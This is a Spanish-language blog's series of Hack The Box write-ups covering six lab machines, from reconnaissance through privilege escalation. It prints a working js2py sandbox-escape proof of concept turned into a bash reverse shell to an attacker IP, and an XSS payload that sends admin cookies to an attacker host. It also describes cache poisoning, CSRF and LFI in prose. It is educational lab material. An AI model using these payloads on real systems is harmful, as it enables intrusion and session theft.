DevilTrigger-Blog

Expressway WriteUp Hack The Box

Sun, 08 Mar 2026 00:00:00 +0000

Introducción

Expressway es una máquina fácil de Hack The Box que destaca la importancia de realizar un buen reconocimiento con Nmap, la negociación de claves a través de IKE (Internet Key Exchange), la técnica de crackeo de hashes y la escalación de privilegios mediante una vulnerabilidad en sudo.

Reconocimiento

Comenzamos con nuestro clásico escaneo de puertos usando Nmap. Para nuestra sorpresa, solo encontramos el puerto 22 (SSH). Aunque podríamos intentar ataques de fuerza bruta, esto consumiría mucho tiempo, ya que no contamos con usuarios ni contraseñas para probar.

Dado que no es habitual en nosotros, decidimos escanear los puertos UDP. Después de un tiempo, descubrimos el puerto 500 UDP, que ejecuta el servicio ISAKMP, utilizado por IKE para la negociación de VPN.

Usaremos la herramienta ike-scan para probar este servicio.

Este escaneo nos revela que utiliza un tipo de cifrado 3DES, que actualmente es débil, junto con un hash SHA1, que también es vulnerable en la actualidad. Procederemos a realizar un escaneo más agresivo.

Explotación

Con el siguiente comando, descubrimos que el ID tiene un valor de ike@expressway.htb, que podría ser el nombre de usuario; lo utilizaremos después para acceder al puerto 22. Con la misma herramienta, extraeremos el hash del PSK para crackearlo, ya que es débil.

Ya tenemos el hash; ahora utilizaremos la herramienta psk-crack para obtener la contraseña.

Hemos conseguido la contraseña; ahora ingresaremos en el puerto 22, obtendremos la primera flag y comenzaremos la escalación de privilegios.

Escalada de privilegios

Primero, verifiquemos qué podemos hacer con sudo.

Este mensaje de error es inusual; procederemos a comprobar el binario. Como se observa en la siguiente imagen, sudo se encuentra en una ruta que no es la habitual; normalmente, debería estar en /usr/bin/sudo. Esto indica que alguien ha instalado otra versión de sudo.

Verifiquemos la versión para confirmar nuestras sospechas.

Está utilizando la versión 1.9.17. Busquemos en Internet si existe algún CVE relacionado con esta versión. Al realizar una búsqueda rápida, encontramos un CVE-2025-32463 que nos permite escalar privilegios.

Solo nos queda crear este exploit en la máquina víctima en el directorio /tmp.

Por último, daremos permisos de ejecución, ejecutaremos el exploit y obtendremos la última flag.

Conclusión

La máquina Expressway nos enseña sobre la relevancia de realizar un escaneo de puertos TCP y UDP, los peligros de los protocolos criptográficos obsoletos, las técnicas de descifrado de contraseñas, la identificación y explotación de instalaciones de software personalizadas, así como la investigación y aplicación de exploits públicos de CVE. Esta máquina es perfecta para cualquier persona que esté comenzando a resolver máquinas en Hack The Box.

Espero que les haya gustado. ¡Nos vemos en la próxima!

Guardian WriteUp Hack The Box

Sun, 01 Mar 2026 00:00:00 +0000

Introducción

La máquina Guardian es posiblemente la más difícil y extensa que he resuelto hasta la fecha.

Esta máquina está compuesta por vulnerabilidades que involucran usuarios con credenciales por defecto, inyección de parámetros en la URL y varios ataques XSS para obtener cookies. Explotaremos tokens CSRF para crear usuarios con privilegios de administrador y así escalar nuestros privilegios. Una vez que tengamos acceso como administradores del sitio web, utilizaremos una vulnerabilidad de Local File Inclusion para establecer una conexión remota, acceder a la máquina como el usuario www-data, encontrar las credenciales de jamil en una base de datos y crackearlas utilizando una sal que acompaña a los hashes.

Una vez dentro de la máquina como jamil, encontraremos aplicaciones mal configuradas que nos permitirán escalar privilegios al usuario mark. Con este usuario, observaremos que puede ejecutar como administrador la herramienta safeapachectl. Finalmente, crearemos un módulo de configuración que nos permitirá establecer una conexión remota como el usuario root y obtendremos la flag final.

Enumeración

Comenzamos enumerando los puertos abiertos de la máquina. En este caso, tiene abierto el puerto 22, que no podremos atacar de inmediato porque no tenemos usuarios, y no merece la pena gastar tiempo realizando ataques de fuerza bruta. Además, tenemos el puerto 80; por lo tanto, debemos añadir la IP de la máquina y el dominio a nuestro archivo /etc/hosts para acceder a la web.

Al acceder al puerto 80 con el navegador, veremos una página de bienvenida sobre Guardian University.

Si investigamos un poco la web, encontraremos mensajes sobre estudiantes, donde podremos anotar posibles usuarios y cuentas para realizar ataques de fuerza bruta.

Si pulsamos en el botón “student portal” en la página principal, este nos redirige a portal.guardian.htb, por lo que debemos añadirlo a /etc/hosts. En este inicio de sesión, aparece una ventana emergente que nos indica que consultemos la guía del portal.

Si hacemos clic en el enlace de la ventana emergente antes de que desaparezca, veremos una guía sobre cómo usar el portal. Al parecer, a los estudiantes se les asigna una contraseña por defecto al crear una cuenta.

Utilizando los usuarios que encontramos al principio, descubrimos que el usuario GU0142023 no ha modificado su contraseña todavía, lo que nos permite acceder a su cuenta.

Una vez dentro de la plataforma, veremos distintas secciones como “My Courses”, “Assignments”, “Grades”, etc.

Si navegamos un poco por la sección de “Chat”, notaremos que tiene una URL algo extraña. Podemos realizar ataques de fuerza bruta y probar combinaciones para encontrar conversaciones a las que no deberíamos tener acceso.

Después de un rato de prueba y error, encontraremos una conversación entre jamil y el usuario admin. En esta conversación, el usuario admin le proporciona la contraseña en texto plano de la plataforma Gitea. Esto nos permitirá investigar y aprender cómo funciona la aplicación web.

Si accedemos al subdominio de Gitea e iniciamos sesión con las credenciales de jamil que obtuvimos anteriormente, veremos que existen dos repositorios: portal.guardian.htb y guardian.htb.

Investigando, encontraremos que dentro del repositorio portal.guardian.htb existe un archivo de configuración llamado config.php, donde veremos las credenciales de la base de datos, que pueden ser útiles para seguir escalando.

Cuando te encuentres en situaciones donde no sabes cómo continuar, lo primero que debes preguntarte es: “¿Qué aplicaciones y versiones están corriendo?”. Al buscar por aplicaciones, encontraremos phpoffice con una versión vulnerable.

Explotación

Una vez enumerado todo lo que podamos sobre la aplicación que queremos vulnerar, debemos investigar las vulnerabilidades de las aplicaciones que hemos encontrado. En este caso, podemos ver en el siguiente GitHub que la versión que se está utilizando es vulnerable a XSS en la función generateNavigation().

Como se muestra en la prueba de concepto, tendremos que generar un archivo .xlsx e introducir un payload XSS en la segunda pestaña del documento. En mi caso, utilizaré una web como Treegrid para generarlo.

Nota: He probado con distintas herramientas para crear archivos .xlsx, como Microsoft Office, Google Sheets o Calc de LibreOffice, pero no ha funcionado. Si alguien sabe por qué, por favor escríbelo en la sección de comentarios de la publicación de LinkedIn.

Una vez introducido el payload, abriremos nuestro servidor con Python para recibir las peticiones con la cookie del usuario que abra el archivo que hemos creado anteriormente.

Finalmente, solo queda enviar el archivo y esperar a que alguien lo abra.

Después de un rato, recibiremos la cookie del usuario que ha abierto el archivo.

Ahora podremos modificar nuestra cookie en el navegador y acceder al panel de “Lecturer”.

Tenemos nuevas secciones que investigar, como “Notice Board” y “Submissions”. Si examinamos detenidamente la sección de “Notice Board”, podemos ver qué tipo de peticiones utiliza este sitio.

Con la herramienta Burp Suite, podemos interceptar la petición de “Create Notice” para ver qué parámetros requiere la web. Probemos a crear una noticia indicando el título, el contenido y un enlace de referencia para que lo revise el usuario admin. Para este último apartado, abriré un servidor HTTP con Python para ver si realmente algún usuario abre el archivo.

Con Burp Suite, interceptaremos la petición para ver qué parámetros son necesarios para crear una noticia. Como se puede ver en la imagen, lo más importante que necesitaremos es un token CSRF.

Continuando con la petición, después de un rato, un usuario abre el archivo .txt que he dejado expuesto.

Volvamos a Gitea y entendamos cómo funcionan estos parámetros. En el archivo csrf-token.php, descubriremos que los tokens se guardan en el directorio /config/tokens.json.

Además, podemos ver cómo crear un usuario. Necesitamos investigar cómo funciona, ya que el usuario admin va a abrir nuestro archivo. Podemos crear un formulario para que el usuario admin lo ejecute y así escalar privilegios.

Comencemos creando el formulario que pulsará el usuario. Necesitaremos indicar a dónde apunta (en este caso, a createuser.php), el token CSRF que generaremos después, todos los parámetros que hemos visto antes y un script para que, al abrir el archivo, se ejecute el formulario.

Generaremos un token CSRF enviando una petición para crear una noticia.

En el directorio que hemos visto antes, se generarán los tokens.

Añadimos nuestro token CSRF a nuestro archivo .html y abrimos nuestro servidor HTTP.

Finalmente, crearemos la noticia enviándola con Burp Suite y esperaremos a que el usuario admin abra el formulario.

Como se ve en la imagen, el usuario admin ha accedido a nuestro archivo HTML. Ahora queda ver si el usuario que hemos especificado en el formulario se ha creado correctamente.

¡Lo hemos conseguido! Hemos escalado hasta el usuario admin, y ya queda menos para acceder a la máquina.

Accedemos al apartado de “Reports”, ya que es la sección que no tiene ningún usuario anterior. En este apartado, podemos ver un potencial Local File Inclusion en la URL.

Si miramos el código fuente, podemos confirmar que existe la vulnerabilidad.

Utilizando esta herramienta, podemos generar un payload que nos permita explotar la Local File Inclusion y, además, generar una reverse shell. Primero, modifiquemos el código para que utilice uno de los archivos de la web.

Probamos a generar un payload que cargue código; en este caso, que muestre la información de PHP que tenga instalada.

Si copiamos y pegamos todo el payload, comprobaremos que existe la vulnerabilidad, ya que muestra el panel de información de PHP.

Probemos con la conexión remota. Como sabemos que tiene PHP, intentemos crear una conexión remota utilizando PHP.

Activamos nuestro netcat y pegamos el payload en la URL. Así es como hemos logrado conectarnos a la máquina.

¿Recuerdas cuando encontramos las credenciales de la base de datos en el código?

El usuario www-data puede acceder a la base de datos, así que nosotros también.

Si copiamos los hashes e intentamos crackearlos, no lo conseguiremos, ya que, como se puede ver en el código fuente, los hashes tienen una sal que debemos tener en cuenta al crackearlos. Para hacerlo con la herramienta Hashcat, tendremos que añadir la sal de la siguiente forma.

Después de unos 2 minutos, obtendremos las contraseñas en texto plano de admin y jamil.

Si probamos a iniciar sesión en el SSH con ellas, descubriremos que jamil sí puede acceder al SSH. Finalmente, hemos llegado a la primera mitad de la máquina.

Con esto, hemos completado una parte significativa del proceso de explotación de la máquina Guardian. Ahora, con acceso a jamil, podemos continuar explorando y buscando nuevas vulnerabilidades para escalar aún más nuestros privilegios y, eventualmente, obtener acceso completo a la máquina.

Escalada de privilegios

Bien, hemos llegado a la máquina; solo queda alcanzar el acceso como root. Comenzamos, como siempre, enumerando qué puede hacer este usuario con privilegios. En este caso, jamil solo puede ejecutar el código utilities.py con el usuario mark.

Analicemos qué puede hacer este código. Parece que sirve para ejecutar comandos dentro de la máquina de forma automática, como hacer backups, comprimir archivos o comprobar el estado de procesos. Algo importante a tener en cuenta es que el usuario jamil solo puede ejecutar el parámetro system-status.

El código anterior ejecuta otros scripts dentro de la carpeta /utils. El usuario jamil solo puede ejecutar el parámetro system-status; como se puede ver en la imagen, no podemos editar ninguno de estos scripts, excepto el de status.py.

Probemos a crear una conexión remota para conectarnos como el usuario mark. Primero, encriptaremos la conexión remota con base64.

Después, modificaremos el código completo para añadir el payload, prepararemos nuestro netcat para recibir la conexión y, finalmente, lo ejecutaremos como mark.

Ahora estamos como el usuario mark. Veamos qué puede ejecutar con permisos de administrador. Puede ejecutar la herramienta safeapache2ctl, que permite cargar configuraciones en la máquina.

Si probamos a ejecutarla, veremos que nos pide un archivo de configuración desde la carpeta /confs/. En esa carpeta, podemos crear cualquier archivo de configuración.

Si investigamos un poco, al crear un archivo de configuración que cargue un módulo y, si da error, que ejecute una conexión remota, podemos aprovechar esto.

Ejecutamos la aplicación con el archivo de configuración malicioso y, finalmente, hemos escalado hasta el usuario root, completando así la máquina.

Conclusión

La máquina Guardian fue una experiencia realmente interesante que me ayudó a entender mejor cómo se pueden explotar vulnerabilidades y escalar privilegios. Desde el recorrido inicial por los puertos y servicios hasta la explotación de vulnerabilidades como XSS y Inclusion de Archivos Locales, cada paso fue clave para avanzar en el proceso.

La escalada de privilegios, comenzando con el usuario jamil y llegando hasta root, nos permitieron conocer bien las herramientas y scripts disponibles en el sistema. Poder modificar y ejecutar código en un entorno controlado nos permitió establecer conexiones remotas y aprovechar configuraciones que estaban mal protegidas.

Quiero agradecer a echoesofwhoami y a compañeros que me han ayudado a completar esta máquina.

Espero que esta publicación sirva como una guía para esta máquina tan compleja.

Soulmate WriteUp Hack The Box

Sat, 14 Feb 2026 00:00:00 +0000

Introducción

Soulmate es una máquina sencilla. Tendremos que acceder a una página web de citas, descubrir un subdominio para compartir archivos, utilizar un exploit para crear un usuario con privilegios de administrador, cambiar la contraseña de un usuario y acceder a él para establecer una conexión remota.

Una vez dentro, buscaremos en la máquina archivos que contengan la contraseña del usuario de SSH y escalaremos privilegios utilizando ssh_runner, ya que permite ejecutar comandos con permisos de administrador.

Reconocimiento

Comenzaremos nuestra etapa de reconocimiento con un nmap simple y encontraremos el puerto 22, que no nos interesa por el momento, ya que no tenemos ningún usuario ni contraseña. También encontraremos el puerto 80, al que podremos acceder desde el navegador.

Al añadir el dominio a nuestro /etc/hosts e intentar acceder al puerto 80, veremos la siguiente página.

No tiene mucha información, así que crearemos una cuenta para ver si podemos escalar a partir de ella.

Una vez dentro, no encontramos botones o funciones nuevas, así que realizaremos fuzzing para descubrir directorios o subdominios ocultos.

Utilizando la herramienta ffuf, enumeraremos los directorios de la página web, pero tampoco encontramos nada interesante al que podamos acceder.

Intentémoslo con subdominios. Al hacerlo de esta forma, descubriremos que existe ftp.soulmate.htb.

Cuando accedemos a este subdominio, veremos que utiliza la aplicación CrushFTP.

Explotación

Al analizar el HTML de la página, encontraremos que la aplicación usa la versión 11.W.657, que es vulnerable a este payload

Este payload nos permite crear un nuevo usuario administrador, así que crearemos uno para acceder sin las credenciales de administrador.

Una vez dentro, encontraremos un FTP para compartir archivos y también accederemos al panel de administrador.

En el panel de administrador, encontraremos varias secciones, pero nos centraremos en la sección “User Manager”. Allí estarán todos los usuarios creados en el sistema. Lo más interesante es que podremos ver los archivos que tienen guardados los usuarios. En este caso, el usuario ben tiene una carpeta llamada “webProd”, que sugiere que allí se almacena toda la página web que hemos visto antes.

Como somos administradores, podemos cambiar la contraseña del usuario ben. Nos copiaremos su nueva contraseña e intentaremos acceder con ella en el sistema.

Una vez dentro, podemos acceder a la carpeta de la página web en producción y añadir archivos.

Dentro de la raíz de la web, añadiremos un script para que, al ejecutarlo desde el navegador, podamos recibir una conexión remota.

Preparamos nuestro netcat y ejecutaremos el script desde el navegador. Ahora hemos escalado como el usuario www-data.

Si realizamos un reconocimiento a todos los archivos de la máquina, encontraremos un login de Erlang. Si abrimos los scripts de configuración, encontraremos las credenciales del usuario ben para el SSH. Además, podemos ver que hay un ssh_runner dentro del sistema por el puerto 2222.

Para investigar esa parte de la máquina, primero tendremos que acceder al SSH de la máquina como el usuario ben y obtener la primera flag.

Escalada de privilegios

Ya estamos dentro, así que investiguemos ese puerto oculto. Con este comando, listaremos todos los puertos que se están utilizando en la máquina, y el puerto 2222 está funcionando con el ssh_runner.

Como hemos visto en el script anterior, tenemos las credenciales para acceder, así que entraremos como el usuario ben.

La aplicación ssh_runner nos permite ejecutar comandos desde el sistema, así que podemos obtener la flag desde aquí utilizando el comando os:cmd(cat /root/flag.txt), o de la forma que se muestra en la siguiente imagen, que creo que es la forma intencionada: creando una conexión remota que nos permita acceder como el usuario root.

Al ejecutar el comando, deberíamos poder ver el contenido de la flag en la terminal. Esto nos permitirá confirmar que hemos escalado correctamente los privilegios y que ahora tenemos acceso completo al sistema.

Conclusión

La identificación de la aplicación CrushFTP y su vulnerabilidad nos permitió crear un usuario administrador, lo que facilitó el acceso a información sensible y la posibilidad de manipular archivos en el servidor. Además, el uso de herramientas como Ffuf y ssh_runner ha demostrado ser esencial para descubrir directorios ocultos y ejecutar comandos con privilegios elevados.

CodePartTwo WriteUp Hack The Box

Fri, 06 Feb 2026 00:00:00 +0000

Introducción

CodePartTwo es una máquina de HackTheBox fácil y continuación de la máquina Code. Para resolverla empezamos enumerando los puertos y servicios expuestos. En la aplicación web hay un botón que permite descargar todo el código del sitio; al revisarlo obtendremos el árbol de directorios y archivos.

Más adelante explotaremos una sandbox de JavaScript usando un vector de escape que nos permitirá establecer una conexión remota como el usuario app. Desde ese acceso podremos consultar la base de datos y recuperar la contraseña de marco, que está almacenada en MD5; con ella conseguiremos la primera flag.

Tras una nueva enumeración sobre las capacidades del usuario marco, descubriremos que puede ejecutar la herramienta npbackup-cli con privilegios de administrador. Aprenderemos a usarla, desarrollaremos un exploit para escalar privilegios y, finalmente, abriremos una segunda conexión remota para obtener acceso como root y capturar la flag final.

Enumeración

Comenzando con nmap, descubriremos que están abiertos el puerto 22 (SSH) y el puerto 8000 (HTTP con Gunicorn 20.0.4).

No se puede acceder al puerto 22 porque no disponemos de credenciales; al abrir el puerto 8000 se muestra la siguiente página. En la web aparecen tres botones: login, register y download app.

Si pulsamos download app descargaremos un archivo ZIP que, al descomprimirlo, revela la estructura completa del proyecto; esto será clave para localizar la base de datos cuando obtengamos acceso al sistema.

Solo queda probar a registrarse e iniciar sesión.

Al iniciar sesión en la web encontraremos una sandbox de JavaScript. Al probar distintos scripts veremos que algunas funciones están saneadas y no podremos ejecutar ciertos fragmentos de código.

Explotación

Sabiendo que varias funciones están saneadas, buscaremos una forma de escapar de la sandbox. Al buscar en GitHub términos como “scape js sandbox github poc” encontraremos esta prueba de concepto.

let cmd = "head -n 1 /etc/passwd; calc; gnome-calculator; kcalc; "
let hacked, bymarve, n11
let getattr, obj

hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__

function findpopen(o) {
    let result;
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i]
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item
        }
        if(item.__name__ != "type" && (result = findpopen(item))) {
            return result
        }
    }
}

n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()

Este código construye la cadena de comando en cmd (head -n 1 /etc/passwd; calc; gnome-calculator; kcalc;).

Obtiene la lista de nombres de propiedades de un objeto vacío con Object.getOwnPropertyNames({}) y la guarda en hacked. Accede a métodos especiales usando esas propiedades: extrae getattribute (vía bymarve y n11) para consultar atributos internos de objetos. Sube por la jerarquía de clases con n11(“class”).base** para llegar a la clase base y asigna su **getattribute a getattr. Define la función findpopen(o) que recorre recursivamente o.subclasses() buscando una clase cuyo módulo sea “subprocess” y cuyo nombre sea “Popen”; si la encuentra, la retorna.

Llama a findpopen(obj) para obtener la clase Popen, crea una instancia pasando cmd y parámetros (incluyendo true para shell=True) y ejecuta communicate() para ejecutar el comando y obtener su salida.

Ahora que entendemos el script, solo tendremos que modificar el parámetro cmd para establecer una conexión remota con la máquina.

let cmd = "bash -c 'bash -i >& /dev/tcp/10.10.14.119/4444 0>&1'"
let hacked, bymarve, n11
let getattr, obj

hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__

function findpopen(o) {
    let result;
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i]
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item
        }
        if(item.__name__ != "type" && (result = findpopen(item))) {
            return result
        }
    }
}

n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()

Usando netcat nos pondremos a la escucha en el puerto correspondiente; al ejecutar el código en la web obtendremos una reverse shell como el usuario app.

Una vez dentro del sistema y con la ubicación de la base de datos identificada en la fase de enumeración, buscamos el archivo de la base de datos y, usando sqlite3, ejecutamos una consulta para listar los usuarios registrados. Nos fijamos en el primer usuario creado, marco, y procedemos a crackear su contraseña.

La contraseña de marco parece estar cifrada con MD5; usando la web de CrackStation podremos descifrarla rápidamente.

Con la contraseña podremos acceder por SSH como marco y obtener la primera flag.

Escalada de privilegios

Una vez dentro del sistema, enumeraremos todo lo que puede hacer el usuario marco con el siguiente comando. En la imagen siguiente se muestra que marco puede ejecutar el programa npbackup-cli con privilegios de administrador.

Lo primero es conocer la aplicación y sus opciones; con el parámetro -h obtendremos la información necesaria para resolver el puzzle y escalar privilegios.

Para usar la aplicación necesitamos un archivo de configuración (ubicado en el directorio de marco) y crear un archivo adicional que nos permita escalar privilegios.

Dado que el programa se ejecutará con privilegios de root, es necesario crear un archivo que inicie la conexión remota; al ejecutarlo como root, la shell remota heredará privilegios de administrador.

Ahora ya tenemos todo listo para el paso final: primero nos pondremos a la escucha con netcat en el puerto correspondiente; a continuación ejecutaremos la aplicación con privilegios de administrador, indicando el archivo de configuración, el script de conexión remota creado anteriormente y el nombre del backup.

Finalmente recibimos la conexión con permisos de administrador y obtendremos la flag final.

Conclusión

En CodeTwo realizamos enumeración, revisión del código descargado, escape de sandbox y escalada mediante una herramienta con privilegios. La descarga del código nos dio el árbol de archivos y la ubicación de la base de datos; la PoC de js2py nos sirvió para escapar de la sandbox y obtener una reverse shell como app. Desde ahí, con sqlite3 y CrackStation recuperamos la contraseña de marco, accedimos por SSH y conseguimos la primera flag.

La enumeración posterior reveló que marco podía ejecutar npbackup-cli como root; creando el archivo de configuración y un script de reverse shell, y ejecutando la aplicación con privilegios, conseguimos una shell con permisos de root y la flag final.

Imagery WriteUp Hack The Box

Sun, 25 Jan 2026 00:00:00 +0000

Introducción

Hoy vamos a resolver Imaginary, una máquina de nivel medio de HackTheBox que nos permitirá practicar diversas técnicas de pentesting web. Esta máquina es particularmente interesante porque combina vulnerabilidades clásicas que todo pentester debe conocer: desde la explotación de XSS (Cross-Site Scripting) para robar cookies de sesión, hasta ataques de Local File Inclusion (LFI) y ejecución remota de comandos.

El escenario nos presenta una aplicación web aparentemente sencilla con funcionalidad de carga de imágenes, pero que esconde múltiples vectores de ataque.

Reconocimiento

Comenzamos escaneando los puertos abiertos de la máquina. En este caso, tiene abiertos el puerto 22 (SSH), con el que no podremos hacer nada de momento ya que no disponemos de credenciales, y el puerto 8000, donde se encuentra alojada una aplicación web.

Si accedemos a la máquina a través del puerto 8000, veremos una web con funcionalidades básicas: registro de usuarios e inicio de sesión.

Después de enumerar posibles subdominios sin resultados, procedo a crear una cuenta y acceder a ella.

Una vez dentro, las funcionalidades son limitadas: únicamente podemos subir imágenes.

Intento enumerar posibles directorios, pero tampoco encuentro nada relevante.

Al revisar el código fuente de la web, descubro que existe la ruta /admin/bug_reports junto con algunas funciones asociadas a esta ruta.

Examinando más detenidamente la sección inferior de la web, aparece un botón nuevo que anteriormente no estaba visible y que sirve para informar de fallos en la plataforma.

Al acceder a esta sección, nos solicita el nombre del fallo y los detalles del mismo.

Explotación

En este tipo de situaciones, la primera opción es probar una inyección XSS. Rellenaremos el formulario con un payload que, cuando el administrador acceda a revisar el reporte y no pueda cargar la imagen, nos envíe su cookie de sesión a nuestro puerto en escucha:

<img src=x onerror="document.location='http://<IPAtacante>:<Puerto>/?cookie='+document.cookie">

Pongo el puerto 4444 en escucha para recibir la cookie y después envío el formulario con la inyección de código. Al cabo de unos momentos, recibo una petición GET con la cookie del usuario administrador.

Presiono F12 para abrir las herramientas de desarrollo y modifico mi cookie de sesión por la cookie obtenida del usuario admin. Al refrescar la página, aparece el botón que nos da acceso al panel de administrador.

Dentro de este panel podemos descargar los registros de los usuarios que se han registrado en la web y los fallos que han sido reportados.

Intercepto la petición cuando pulso el botón “Download Log” para ver qué ocurre por detrás. Al probar un ataque de Local File Inclusion (LFI), descubro que podemos enumerar cualquier archivo de la máquina.

Probando archivos comunes como /proc/self/environ, encuentro que existe la ruta /home/web, donde podrían estar los archivos de configuración de la aplicación.

Tras enumerar varios archivos, localizo un archivo de configuración que describe cómo está configurada la web. Dentro de este archivo encuentro la ruta de la base de datos de la aplicación.

Al leer el archivo de la base de datos, encuentro los usuarios creados en la web y sus contraseñas cifradas con MD5.

Como ya hemos accedido a la web con el usuario “admin”, pruebo a acceder con el usuario “testuser”. Copio su contraseña cifrada y la descifro con CrackStation.

Al acceder a la cuenta de “testuser”, tenemos los mismos botones que un usuario normal. Procedo a subir una foto y experimentar con las funcionalidades disponibles.

El formulario solicita la imagen que queremos subir junto con algunos parámetros adicionales.

Dentro de las opciones podemos recortar la imagen. Intercepto la petición que se genera cuando modificamos la imagen.

Descubro que podemos ejecutar comandos del sistema desde cualquier parámetro de la petición.

Sabiendo esto, puedo crear una reverse shell. Pongo mi máquina en escucha y envío la petición con el comando de conexión remota. Si todo ha ido bien, obtengo acceso a la máquina como el usuario “web”.

Tras realizar una enumeración exhaustiva de la máquina, encuentro en la ruta /var/backup un archivo cifrado con extensión .aes.

Como la máquina tiene Python instalado, creo un servidor web dentro de la máquina para copiar el archivo a mi equipo e intentar descifrarlo.

Una vez iniciado el servidor, utilizo wget para descargar el archivo.

Con un poco de investigación, encuentro herramientas que realizan fuerza bruta a este tipo de archivos cifrados. En mi caso, utilicé dpyAesCrypt.py por su facilidad de uso. Al ejecutar la herramienta seguida del archivo cifrado y del diccionario de palabras, tras un tiempo de procesamiento, el código extrae la clave del archivo y lo descifra.

Al extraer el archivo .zip, obtengo todos los archivos de la copia de seguridad de la web. Si reviso la base de datos que vimos anteriormente, encuentro que había otro usuario con su contraseña cifrada en formato MD5.

Repito el mismo proceso: copio y pego la contraseña cifrada en CrackStation.

Ahora tengo la contraseña de “mark”. Accedo a su cuenta del sistema y obtengo la primera flag.

Escalada de privilegios

Ya queda menos: solo falta la fase de escalada de privilegios para convertirnos en administrador del sistema. Lo más común es comenzar enumerando todo lo que puede ejecutar el usuario “mark” con permisos de administrador en la máquina. En este caso, “mark” puede ejecutar con permisos de administrador la aplicación “charol”, un programa para crear copias de seguridad en archivos comprimidos.

Como no sabemos qué contraseña tenía “mark” en esta herramienta, voy a reiniciarla y eliminar su contraseña. Una vez obtengo acceso a la herramienta, ejecuto el comando help para ver qué funciones puede realizar el programa.

Al parecer, el programa permite programar la ejecución de comandos cada cierto tiempo. Como la aplicación tiene permisos de administrador, puedo crear una reverse shell que me dé acceso al usuario “root” cada segundo.

Finalmente, una vez obtenida la conexión remota como el usuario “root”, puedo obtener la última flag de la máquina.

Conclusión

Y con esto llegamos al final de la resolución de Imaginary. Esta máquina nos ha permitido practicar una cadena completa de explotación que incluye múltiples vulnerabilidades comunes en aplicaciones web reales.

Espero que este writeup te haya resultado útil. ¡Nos vemos en la próxima publicación!

Hacknet WriteUp Hack The Box

Sun, 18 Jan 2026 00:00:00 +0000

Introducción

Hacknet es una máquina de Hack The Box de dificultad media. La explotación requiere adentrarse en una red social de hackers, comprender su funcionamiento e introducir un payload en nuestro nombre de usuario para extraer información, como nombres y contraseñas del resto de los usuarios.

Más adelante, se aprende a inyectar código malicioso en la caché del sitio web, lo que permite la ejecución de comandos para obtener acceso como el usuario sandy.

Finalmente, con el acceso del usuario sandy, se crackea su clave GPG para descomprimir los backups de la máquina y, de esta manera, encontrar la clave de administrador.

Reconocimiento

Comenzamos con el habitual escaneo de puertos. En este caso, se encuentra el puerto 22 (SSH), que no se puede atacar inicialmente por falta de credenciales, y el puerto 80 con una página web.

Para acceder al puerto 80, es necesario añadir la IP y el dominio al archivo /etc/hosts. Una vez dentro, se presentan dos botones: uno para iniciar sesión y otro para registrarse.

Dado que no se conocen usuarios, se procede a crear una nueva cuenta para explorar el contenido.

Tras iniciar sesión, se observan varias secciones como “Profile”, “Contacts”, “Messages”, entre otras.

En la sección de “Search” se pueden encontrar a todos los usuarios de la web.

La sección “Explore” muestra publicaciones de los usuarios, con opciones para dar “likes” y añadir comentarios.

Si se intercepta la petición al pulsar el botón de “likes”, se observa que se envía una solicitud a la URL /likes/22.

Al acceder directamente a esa URL, se visualizan los usuarios que han dado “like” a esa publicación. Además, al revisar el código fuente, se exponen todos los nombres de usuario.

Por último, utilizando la extensión de navegador “Wappalyzer”, se descubre que la página web está construida con Django.

Este dato sugiere la posibilidad de probar un payload de plantilla de Django, ya que el sitio web muestra nuestro nombre de usuario.

Explotación

Para que el ataque funcione, se requiere el campo users, un número que indique el usuario y el campo que se desea extraer (en este caso, el correo electrónico).

Tras guardar los cambios y refrescar la página, al final del código fuente se encuentra una parte de la credencial filtrada.

Sabiendo esto, se modifica el payload para mostrar la contraseña del usuario.

Después de una investigación exhaustiva en las cuentas de usuario de esa publicación, no se encontró nada útil, por lo que se probó con la publicación que tenía más “likes” en la plataforma.

Aplicando el mismo payload para extraer correos y probando múltiples veces, se identifica la credencial más interesante.

Con el payload de la contraseña, se extrae el siguiente valor.

Se intenta iniciar sesión con la cuenta de este usuario.

Como se muestra en la imagen, el usuario deepdive tenía una publicación oculta con un solo “like”.

Al revisar sus contactos, se encuentra que solo tiene agregado al usuario backdoor_bandit.

Se verifica que el usuario backdoor_bandit es quien ha dado “like” a la publicación privada.

Interceptando la petición con Burp Suite, se determina que la publicación oculta tiene el número 23.

Se cierra la sesión de deepdive, se intercepta otro “like” de una publicación diferente, se manipula la petición y se cambia el número por 23.

Si el ataque se ha realizado correctamente, al acceder a la URL de la publicación 23, se debe visualizar nuestro propio usuario.

Aplicando el exploit utilizado anteriormente, se obtienen las credenciales de mikey@hacknet.htb. Al intentar iniciar sesión por SSH con este usuario, se consigue el acceso. En su carpeta se encuentra la primera flag.

Realizando un reconocimiento de la máquina para identificar carpetas con permisos de escritura para el usuario mikey, se descubre la ruta inusual /var/tmp/django_cache. Se procede a envenenar la caché antes de que sea eliminada para crear una shell como el usuario sandy.

El elemento principal de este script es la librería pickle para crear objetos maliciosos. Cuando la aplicación Django (ejecutándose con el usuario sandy) deserializa la caché, se creará la shell en el directorio /tmp/.

Se ejecuta el script que genera el payload.

Se puede generar caché simplemente navegando por la web. Una vez que se tiene caché almacenada en la máquina, se utiliza el siguiente comando que permite añadir el payload a todos los archivos y les otorga todos los permisos.

Tras unos 5 segundos, el archivo se genera con los permisos del usuario sandy.

Escalada de privilegios

El último paso es la escalada de privilegios. El usuario sandy tiene backups de la web almacenados en la máquina, los cuales están comprimidos y cifrados con GPG.

Al acceder a su directorio, se encuentra una carpeta oculta: .gnupg.

Dentro de ella está el archivo con la clave necesaria para descifrar los backups.

Si se guarda el contenido de ese archivo y se intenta importar en la máquina atacante, se solicita la clave, que aún no se conoce.

Se intenta crackear la clave utilizando la herramienta gpg2john para extraer un hash que luego pueda ser procesado por la herramienta john (John the Ripper).

Se indica el formato, el diccionario y el archivo hash generado. En poco tiempo, se obtiene la contraseña para descifrar los backups.

